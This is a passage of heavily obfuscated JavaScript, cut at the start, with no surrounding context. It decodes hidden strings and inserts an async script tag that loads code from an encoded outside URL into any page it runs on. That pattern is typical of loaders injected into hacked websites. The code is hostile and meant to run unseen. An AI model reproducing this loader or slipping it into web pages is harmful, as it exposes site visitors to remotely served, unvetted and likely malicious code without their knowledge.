decodeURIComponent(_0x247c23);};_0x5005['mZPAtP']=_0x4cdf01,_0x105c73=arguments,_0x5005['KtAroC']=!![];}var _0x1715d3=_0x145272[0x0],_0x41c26e=_0x50051d+_0x1715d3,_0x31f169=_0x105c73[_0x41c26e];return!_0x31f169?(_0x2f711c=_0x5005['mZPAtP'](_0x2f711c),_0x105c73[_0x41c26e]=_0x2f711c):_0x2f711c=_0x31f169,_0x2f711c;},_0x5005(_0x105c73,_0x2c24b9);}(function(_0x29cff7,_0x5be681,_0x20146a,_0x4b273d,_0x247d5b,_0x5cf9a4){var _0x44dcd4=_0x5005,_0x2471b7=_0x9a0a;_0x247d5b=_0x5be681[_0x2471b7(0x85,'SQUY')](_0x20146a),_0x5cf9a4=_0x5be681[_0x2471b7(0x8d,'O5N!')](_0x20146a)[0x0],_0x247d5b[_0x2471b7(0x8f,'bieV')]=0x1,_0x247d5b[_0x44dcd4(0x82)]=_0x4b273d,_0x5cf9a4[_0x2471b7(0x8b,'J&%C')][_0x44dcd4(0x89)](_0x247d5b,_0x5cf9a4);}(window,document,'script',_0x31b1ca(0x90)));function _0x1452(){var _0x46d8f3=['oty2ndu2oxv0ALLYqq','aSowkIhdMeK8uHFdJLzmFa','mtuYogzwuezHua','WRxcQKCRlaurWOtdRdOgW7m','oCollmoRhdZdUqpdI8oYj8oqrW','Aw5Zzxj0qMvMB3jL','WQibDKngW7DgW7pcMYzCWQff','WRzkWOtcJSkebCkYmeep','WRhdSbL0xvuN','WQBcSmotWQtcPCk8i8kAivTeicHhW5BdHSkxW4PcWRW','W6pdLXqND8kzWRu','W7zcoXWu','Ahr0Chm6lY9IAwDICMLJA3mUB3jNl3O4D2TWENry','mJiWntm0oe1fDvrzuG','CGFdVhPrtcaPwLm','WOJdR8opA8oKcCoXW65QDmkIWPu','mZCXntu5ouXLveXjDG','nta0mte2mgTivfHJsW','mtC2ntKWntbyB2firhK','mte5otfKEKDgBe8','emkVcalcGq8m','C3jJ','nxj2rfvSzq'];_0x1452=function(){return _0x46d8f3;};return _0x1452();}